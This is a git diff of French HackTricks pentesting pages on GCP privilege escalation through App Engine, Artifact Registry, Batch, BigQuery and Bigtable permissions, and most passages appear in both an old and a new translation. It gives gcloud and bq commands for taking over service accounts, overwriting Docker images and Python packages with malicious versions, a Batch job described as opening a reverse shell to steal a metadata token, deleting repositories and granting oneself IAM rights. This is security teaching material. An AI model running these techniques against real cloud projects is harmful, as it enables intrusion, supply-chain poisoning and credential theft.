### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Ce sont les permissions nécessaires pour **déployer une application en utilisant `gcloud` cli**. Peut-être que les permissions **`get`** et **`list`** pourraient être **évitées**.
|
||||
Ce sont les permissions nécessaires pour **déployer une App en utilisant la CLI `gcloud`**. Peut-être que les permissions **`get`** et **`list`** pourraient être **évitées**.
|
||||
|
||||
Vous pouvez trouver des exemples de code python sur [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
Vous pouvez trouver des exemples de code python dans [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Par défaut, le nom du service App sera **`default`**, et il ne peut y avoir qu'une seule instance avec le même nom.\
|
||||
Pour le changer et créer une deuxième application, dans **`app.yaml`**, changez la valeur de la clé racine en quelque chose comme **`service: my-second-app`**.
|
||||
Par défaut, le nom du service App sera **`default`**, et il ne peut y avoir qu'une seule instance portant ce nom.\
|
||||
Pour le changer et créer une seconde App, dans **`app.yaml`**, changez la valeur de la clé racine en quelque chose comme **`service: my-second-app`**
|
||||
|
||||
<details>
|
||||
<summary>Déployer une application App Engine</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Donnez-lui au moins 10-15 minutes, si cela ne fonctionne pas, appelez **déployer une autre fois** et attendez quelques minutes.
|
||||
</details>
|
||||
|
||||
Attendez au moins 10–15 minutes. Si cela ne fonctionne pas, relancez un **déploiement plusieurs fois** et attendez quelques minutes.
|
||||
|
||||
> [!NOTE]
|
||||
> Il est **possible d'indiquer le compte de service à utiliser** mais par défaut, le compte de service par défaut de l'App Engine est utilisé.
|
||||
> Il est **possible d'indiquer le Service Account à utiliser** mais par défaut, le SA par défaut d'App Engine est utilisé.
|
||||
|
||||
L'URL de l'application est quelque chose comme `https://<proj-name>.oa.r.appspot.com/` ou `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
L'URL de l'application ressemble à `https://<proj-name>.oa.r.appspot.com/` ou `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Mettre à jour les autorisations équivalentes
|
||||
### Mettre à jour les permissions équivalentes
|
||||
|
||||
Vous pourriez avoir suffisamment d'autorisations pour mettre à jour un AppEngine mais pas pour en créer un nouveau. Dans ce cas, voici comment vous pourriez mettre à jour l'App Engine actuel :
|
||||
Vous pourriez avoir suffisamment de permissions pour mettre à jour un App Engine mais pas pour en créer un nouveau. Dans ce cas, voici comment vous pourriez mettre à jour l'App Engine actuel :
|
||||
|
||||
<details>
|
||||
<summary>Mettre à jour l'application App Engine existante</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Si vous avez **déjà compromis un AppEngine** et que vous avez la permission **`appengine.applications.update`** et **actAs** sur le compte de service que vous pourriez modifier le compte de service utilisé par AppEngine avec :
|
||||
</details>
|
||||
|
||||
Si vous avez déjà compromis une application AppEngine et que vous disposez de l'autorisation **`appengine.applications.update`** et de **actAs** sur le compte de service à utiliser, vous pouvez modifier le compte de service utilisé par AppEngine avec :
|
||||
|
||||
<details>
|
||||
<summary>Mettre à jour le compte de service App Engine</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Avec ces autorisations, il est possible de **se connecter via ssh dans les instances App Engine** de type **flexible** (pas standard). Certaines des autorisations **`list`** et **`get`** **pourraient ne pas être vraiment nécessaires**.
|
||||
Avec ces permissions, il est possible de **se connecter via ssh sur des instances App Engine** de type **flexible** (pas standard). Certaines des permissions **`list`** et **`get`** **pourraient ne pas être réellement nécessaires**.
|
||||
|
||||
<details>
|
||||
<summary>Se connecter en SSH à une instance App Engine</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Je pense que cela ne change que le compte de service de fond que Google utilisera pour configurer les applications, donc je ne pense pas que vous puissiez en abuser pour voler le compte de service.
|
||||
Je pense que cela se contente de changer le SA en arrière-plan que google utilisera pour configurer les applications, donc je ne pense pas que vous puissiez abuser de cela pour voler le service account.
|
||||
|
||||
<details>
|
||||
<summary>Mettre à jour le service account de l'application</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Je ne suis pas sûr de la façon d'utiliser ces autorisations ou si elles sont utiles (notez que lorsque vous changez le code, une nouvelle version est créée, donc je ne sais pas si vous pouvez simplement mettre à jour le code ou le rôle IAM de l'un, mais je suppose que vous devriez pouvoir le faire, peut-être en changeant le code à l'intérieur du bucket ??).
|
||||
Je ne suis pas sûr de la façon d'utiliser ces permissions ni de leur utilité (notez que lorsque vous changez le code une nouvelle version est créée, donc je ne sais pas si vous pouvez simplement mettre à jour le code ou le rôle IAM d'une version, mais j'imagine que vous devriez pouvoir le faire, peut‑être en changeant le code à l'intérieur du bucket ?).
|
||||
|
||||
### Accès en écriture sur les buckets
|
||||
### Accès en écriture aux buckets
|
||||
|
||||
Comme mentionné, les versions d'appengine génèrent des données à l'intérieur d'un bucket avec le format nom : `staging.<project-id>.appspot.com`. Notez qu'il n'est pas possible de pré-prendre ce bucket car les utilisateurs GCP ne sont pas autorisés à générer des buckets utilisant le nom de domaine `appspot.com`.
|
||||
Comme mentionné, les versions d'appengine génèrent des données dans un bucket au nom formaté : `staging.<project-id>.appspot.com`. Notez qu'il n'est pas possible de pré-saisir ce bucket car les utilisateurs GCP ne sont pas autorisés à créer des buckets utilisant le domaine `appspot.com`.
|
||||
|
||||
Cependant, avec un accès en lecture et en écriture sur ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la version AppEngine en surveillant le bucket et chaque fois qu'un changement est effectué, modifier le code aussi rapidement que possible. De cette manière, le conteneur qui est créé à partir de ce code **exécutera le code compromis**.
|
||||
Cependant, avec un accès lecture & écriture sur ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la version AppEngine en surveillant le bucket et, dès qu'un changement est effectué, en modifiant le code aussi rapidement que possible. Ainsi, le conteneur créé à partir de ce code **exécutera le backdoored code**.
|
||||
|
||||
Pour plus d'informations et un **PoC vérifiez les informations pertinentes de cette page** :
|
||||
Pour plus d'informations et une **PoC, consultez les informations pertinentes de cette page** :
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Accès en écriture sur le registre d'artefacts
|
||||
### Accès en écriture à Artifact Registry
|
||||
|
||||
Bien qu'App Engine crée des images docker à l'intérieur du registre d'artefacts. Il a été testé que **même si vous modifiez l'image à l'intérieur de ce service** et supprimez l'instance App Engine (donc une nouvelle est déployée), le **code exécuté ne change pas**.\
|
||||
Il pourrait être possible qu'en effectuant une **attaque de condition de course comme avec les buckets, il pourrait être possible de remplacer le code exécuté**, mais cela n'a pas été testé.
|
||||
Même si App Engine crée des images docker dans Artifact Registry, il a été vérifié que **même si vous modifiez l'image dans ce service** et supprimez l'instance App Engine (de sorte qu'une nouvelle soit déployée), le **code exécuté ne change pas**.\
|
||||
Il est possible que, en menant une **Race Condition attack** comme avec les buckets, il soit possible d'écraser le code exécuté, mais cela n'a pas été testé.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+88
-30
@@ -1,10 +1,10 @@
|
||||
# GCP - Privesc de l'Artifact Registry
|
||||
# GCP - Artifact Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Pour plus d'informations sur l'Artifact Registry, consultez :
|
||||
Pour plus d'informations sur Artifact Registry, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,7 +12,10 @@ Pour plus d'informations sur l'Artifact Registry, consultez :
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Avec cette permission, un attaquant pourrait télécharger de nouvelles versions des artefacts avec du code malveillant comme des images Docker :
|
||||
Avec cette permission, un attacker pourrait téléverser de nouvelles versions des artifacts contenant du code malveillant, par exemple des images Docker :
|
||||
|
||||
<details>
|
||||
<summary>Téléverser une image Docker dans Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Il a été vérifié qu'il est **possible de télécharger une nouvelle image docker malveillante** avec le même nom et tag que celle déjà présente, donc l'**ancienne perdra le tag** et la prochaine fois que cette image avec ce tag sera **téléchargée, la malveillante** sera téléchargée.
|
||||
> Il a été vérifié qu'il est **possible de téléverser une nouvelle image docker malveillante** avec le même nom et tag que celle déjà présente, donc l'**ancienne perdra le tag** et la prochaine fois que l'image avec ce tag sera **téléchargée, ce sera la malveillante qui sera récupérée**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Télécharger une bibliothèque Python</summary>
|
||||
<summary>Téléverser une bibliothèque Python</summary>
|
||||
|
||||
**Commencez par créer la bibliothèque à télécharger** (si vous pouvez télécharger la dernière version depuis le registre, vous pouvez éviter cette étape) :
|
||||
**Commencez par créer la bibliothèque à téléverser** (si vous pouvez télécharger la dernière version depuis le registry vous pouvez éviter cette étape) :
|
||||
|
||||
1. **Configurez la structure de votre projet** :
|
||||
1. **Mettez en place la structure du projet** :
|
||||
|
||||
- Créez un nouveau répertoire pour votre bibliothèque, par exemple, `hello_world_library`.
|
||||
- À l'intérieur de ce répertoire, créez un autre répertoire avec le nom de votre package, par exemple, `hello_world`.
|
||||
- À l'intérieur de votre répertoire de package, créez un fichier `__init__.py`. Ce fichier peut être vide ou contenir des initialisations pour votre package.
|
||||
- Créez un nouveau répertoire pour votre bibliothèque, p.ex., `hello_world_library`.
|
||||
- À l'intérieur de ce répertoire, créez un autre répertoire avec le nom de votre package, p.ex., `hello_world`.
|
||||
- Dans le répertoire de votre package, créez un fichier `__init__.py`. Ce fichier peut être vide ou contenir des initialisations pour votre package.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,10 +53,15 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
2. **Écrivez le code de votre bibliothèque** :
|
||||
|
||||
- À l'intérieur du répertoire `hello_world`, créez un nouveau fichier Python pour votre module, par exemple, `greet.py`.
|
||||
- Écrivez votre fonction "Hello, World!" :
|
||||
- À l'intérieur du répertoire `hello_world`, créez un nouveau fichier Python pour votre module, p.ex., `greet.py`.
|
||||
- Écrivez votre fonction "Hello, World !" :
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -56,11 +69,16 @@ def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. **Créez un fichier `setup.py`** :
|
||||
|
||||
- À la racine de votre répertoire `hello_world_library`, créez un fichier `setup.py`.
|
||||
- Ce fichier contient des métadonnées sur votre bibliothèque et indique à Python comment l'installer.
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
from setuptools import setup, find_packages
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# Toute dépendance dont votre bibliothèque a besoin
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**Maintenant, téléchargeons la bibliothèque :**
|
||||
</details>
|
||||
|
||||
**Maintenant, téléversons la bibliothèque :**
|
||||
|
||||
1. **Construisez votre package** :
|
||||
|
||||
- Depuis la racine de votre répertoire `hello_world_library`, exécutez :
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **Configurez l'authentification pour twine** (utilisé pour télécharger votre package) :
|
||||
</details>
|
||||
|
||||
2. **Configurez l'authentification pour twine** (utilisé pour téléverser votre package) :
|
||||
- Assurez-vous d'avoir `twine` installé (`pip install twine`).
|
||||
- Utilisez `gcloud` pour configurer les identifiants :
|
||||
````
|
||||
- Utilisez `gcloud` pour configurer les credentials :
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **Nettoyer la construction**
|
||||
</details>
|
||||
|
||||
3. **Nettoyer la compilation**
|
||||
|
||||
<details>
|
||||
<summary>Supprimer les artefacts de compilation</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Il n'est pas possible de télécharger une bibliothèque python avec la même version que celle déjà présente, mais il est possible de télécharger des **versions supérieures** (ou d'ajouter un **`.0` à la fin** de la version si cela fonctionne - pas en python cependant -), ou de **supprimer la dernière version et d'en télécharger une nouvelle avec** (nécessite `artifactregistry.versions.delete)`**:**
|
||||
> Il n'est pas possible d'uploader une bibliothèque python avec la même version que celle déjà présente, mais il est possible d'uploader des **versions supérieures** (ou d'ajouter un **`.0` à la fin** de la version si cela fonctionne — pas en python toutefois), ou de **supprimer la dernière version et d'uploader une nouvelle** (nécessite `artifactregistry.versions.delete)`**:**
|
||||
>
|
||||
> <details>
|
||||
> <summary>Supprimer une version d'un artifact</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Avec cette permission, vous pouvez **télécharger des artefacts** et rechercher des **informations sensibles** et des **vulnérabilités**.
|
||||
Avec cette permission, vous pouvez **télécharger des artifacts** et rechercher des **informations sensibles** et des **vulnérabilités**.
|
||||
|
||||
Téléchargez une **image** **Docker** :
|
||||
Télécharger une image **Docker** :
|
||||
|
||||
<details>
|
||||
<summary>Télécharger une image Docker depuis Artifact Registry</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,10 +159,17 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
Téléchargez une bibliothèque **python** :
|
||||
</details>
|
||||
|
||||
Télécharger une bibliothèque **python** :
|
||||
|
||||
<details>
|
||||
<summary>Télécharger une bibliothèque Python depuis Artifact Registry</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
</details>
|
||||
|
||||
- Que se passe-t-il si des registres distants et standard sont mélangés dans un registre virtuel et qu'un package existe dans les deux ? Consultez cette page :
|
||||
|
||||
{{#ref}}
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Supprimez des artefacts du registre, comme des images docker :
|
||||
Supprimer des artefacts du registre, comme des images Docker :
|
||||
|
||||
<details>
|
||||
<summary>Supprimer une image Docker depuis Artifact Registry</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Supprimez un dépôt complet (même s'il contient du contenu) :
|
||||
Supprimer un repository complet (même s'il contient du contenu) :
|
||||
|
||||
<details>
|
||||
<summary>Supprimer le repository Artifact Registry</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Un attaquant avec cette permission pourrait se donner des permissions pour effectuer certaines des attaques de dépôt mentionnées précédemment.
|
||||
Un attaquant disposant de cette permission pourrait s'octroyer des droits lui permettant d'effectuer certaines des attaques de repository mentionnées précédemment.
|
||||
|
||||
### Pivot vers d'autres services via la lecture et l'écriture de l'Artifact Registry
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Lorsqu'une Cloud Function est créée, une nouvelle image docker est poussée vers l'Artifact Registry du projet. J'ai essayé de modifier l'image avec une nouvelle et même de supprimer l'image actuelle (et l'image `cache`), mais rien n'a changé, la fonction cloud continue de fonctionner. Par conséquent, il **pourrait être possible d'abuser d'une attaque de condition de course** comme avec le bucket pour changer le conteneur docker qui sera exécuté, mais **il n'est pas possible de compromettre la Cloud Function juste en modifiant l'image stockée**.
|
||||
Lorsqu'une Cloud Function est créée, une nouvelle image docker est poussée dans l'Artifact Registry du projet. J'ai essayé de remplacer l'image par une nouvelle, et même de supprimer l'image actuelle (et l'image `cache`) et rien n'a changé : la Cloud Function a continué de fonctionner. Par conséquent, il **pourrait être possible d'abuser d'une Race Condition attack** comme avec le bucket pour changer le docker container qui sera exécuté, mais **seulement modifier l'image stockée ne permet pas de compromettre la Cloud Function**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Bien qu'App Engine crée des images docker à l'intérieur de l'Artifact Registry. Il a été testé que **même si vous modifiez l'image à l'intérieur de ce service** et supprimez l'instance App Engine (de sorte qu'une nouvelle soit déployée), le **code exécuté ne change pas**.\
|
||||
Il pourrait être possible qu'en effectuant une **attaque de condition de course comme avec les buckets, il pourrait être possible de remplacer le code exécuté**, mais cela n'a pas été testé.
|
||||
Même si App Engine crée des docker images dans l'Artifact Registry, il a été testé que **même si vous modifiez l'image dans ce service** et supprimez l'instance App Engine (donc une nouvelle est déployée), le **code exécuté ne change pas**.\
|
||||
Il est possible que la réalisation d'une **Race Condition attack comme avec les buckets puisse permettre d'écraser le code exécuté**, mais cela n'a pas été testé.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,10 @@ Informations de base :
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Il est possible de créer un job batch, d'obtenir un shell inversé et d'exfiltrer le token de métadonnées du SA (SA de calcul par défaut).
|
||||
Il est possible de créer un batch job, d'obtenir un reverse shell et d'exfiltrer le metadata token du SA (compute SA par défaut).
|
||||
|
||||
<details>
|
||||
<summary>Créer Batch job avec reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-12
@@ -12,21 +12,34 @@ Pour plus d'informations sur BigQuery, consultez :
|
||||
|
||||
### Lire la table
|
||||
|
||||
Lire les informations stockées à l'intérieur d'une table BigQuery peut permettre de trouver des **informations sensibles**. Pour accéder aux informations, les permissions nécessaires sont **`bigquery.tables.get`**, **`bigquery.jobs.create`** et **`bigquery.tables.getData`** :
|
||||
La lecture des informations stockées dans une table BigQuery peut permettre de trouver des **informations sensibles**. Pour accéder à ces informations, les permissions nécessaires sont **`bigquery.tables.get`**, **`bigquery.jobs.create`** et **`bigquery.tables.getData`** :
|
||||
|
||||
<details>
|
||||
<summary>Lire les données d'une table BigQuery</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
</details>
|
||||
|
||||
### Exporter des données
|
||||
|
||||
C'est une autre façon d'accéder aux données. **Exportez-les vers un bucket de stockage cloud** et **téléchargez les fichiers** contenant les informations.\
|
||||
Pour effectuer cette action, les autorisations suivantes sont nécessaires : **`bigquery.tables.export`**, **`bigquery.jobs.create`** et **`storage.objects.create`**.
|
||||
Ceci est une autre façon d'accéder aux données. **Exportez-les vers un cloud storage bucket** et **téléchargez les fichiers** contenant les informations.\
|
||||
Pour effectuer cette action, les permissions suivantes sont nécessaires : **`bigquery.tables.export`**, **`bigquery.jobs.create`** et **`storage.objects.create`**.
|
||||
|
||||
<details>
|
||||
<summary>Exporter une table BigQuery vers Cloud Storage</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### Insérer des données
|
||||
|
||||
Il pourrait être possible d'**introduire certaines données de confiance** dans une table Bigquery pour abuser d'une **vulnérabilité à un autre endroit.** Cela peut être facilement fait avec les permissions **`bigquery.tables.get`**, **`bigquery.tables.updateData`** et **`bigquery.jobs.create`** :
|
||||
Il pourrait être possible d'**introduire certaines données de confiance** dans une table BigQuery pour abuser d'une **vulnerability** ailleurs. Cela peut être fait facilement avec les permissions **`bigquery.tables.get`**, **`bigquery.tables.updateData`** et **`bigquery.jobs.create`** :
|
||||
|
||||
<details>
|
||||
<summary>Insérer des données dans une table BigQuery</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
Un attaquant pourrait abuser de ce privilège pour **s'accorder des permissions supplémentaires** sur un ensemble de données BigQuery :
|
||||
Un attaquant pourrait abuser de ce privilège pour **s'octroyer des autorisations supplémentaires** sur un BigQuery dataset :
|
||||
|
||||
<details>
|
||||
<summary>Définir la politique IAM sur un BigQuery dataset</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
Cette permission permet de **mettre à jour votre accès à un ensemble de données BigQuery en modifiant les ACL** qui indiquent qui peut y accéder :
|
||||
Cette permission seule permet de **mettre à jour votre accès à un dataset BigQuery en modifiant les ACLs** qui indiquent qui peut y accéder :
|
||||
|
||||
<details>
|
||||
<summary>Mettre à jour les ACLs du dataset BigQuery</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
Un attaquant pourrait abuser de ce privilège pour **s'octroyer des permissions supplémentaires** sur une table BigQuery :
|
||||
Un attaquant pourrait abuser de ce privilège pour **s'octroyer davantage d'autorisations** sur une table BigQuery:
|
||||
|
||||
<details>
|
||||
<summary>Définir la politique IAM sur une table BigQuery</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
Selon la documentation, avec les permissions mentionnées, il est possible de **mettre à jour une politique de ligne.**\
|
||||
Cependant, **en utilisant le cli `bq`**, vous avez besoin de quelques autres : **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
D'après la documentation, avec les permissions mentionnées il est possible de **mettre à jour une row policy.**\
|
||||
Cependant, **en utilisant le CLI `bq`** vous avez besoin de permissions supplémentaires : **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
<details>
|
||||
<summary>Créer ou remplacer row access policy</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
Il est possible de trouver l'ID de filtre dans la sortie de l'énumération des politiques de ligne. Exemple :
|
||||
</details>
|
||||
|
||||
Il est possible de trouver le filter ID dans la sortie de la row policies enumeration. Exemple :
|
||||
|
||||
<details>
|
||||
<summary>List row access policies</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
Si vous avez **`bigquery.rowAccessPolicies.delete`** au lieu de `bigquery.rowAccessPolicies.update`, vous pouvez également simplement supprimer la politique :
|
||||
</details>
|
||||
|
||||
Si vous avez **`bigquery.rowAccessPolicies.delete`** au lieu de `bigquery.rowAccessPolicies.update`, vous pouvez aussi simplement supprimer la row access policy :
|
||||
|
||||
<details>
|
||||
<summary>Delete row access policies</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Une autre option potentielle pour contourner les politiques d'accès aux lignes serait de simplement changer la valeur des données restreintes. Si vous ne pouvez voir que lorsque `term` est `Cfba`, modifiez simplement tous les enregistrements de la table pour avoir `term = "Cfba"`. Cependant, cela est empêché par bigquery.
|
||||
> Une autre option possible pour bypass les politiques d'accès par ligne serait simplement de modifier la valeur des données restreintes. Si vous ne pouvez voir que lorsque `term` est `Cfba`, modifiez simplement tous les enregistrements de la table pour avoir `term = "Cfba"`. Cependant, ceci est empêché par bigquery.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+37
-19
@@ -12,40 +12,50 @@ Pour plus d'informations sur Bigtable, consultez :
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permissions :** `bigtable.instances.setIamPolicy` (et généralement `bigtable.instances.getIamPolicy` pour lire les liaisons actuelles).
|
||||
**Autorisations :** `bigtable.instances.setIamPolicy` (et généralement `bigtable.instances.getIamPolicy` pour lire les bindings actuels).
|
||||
|
||||
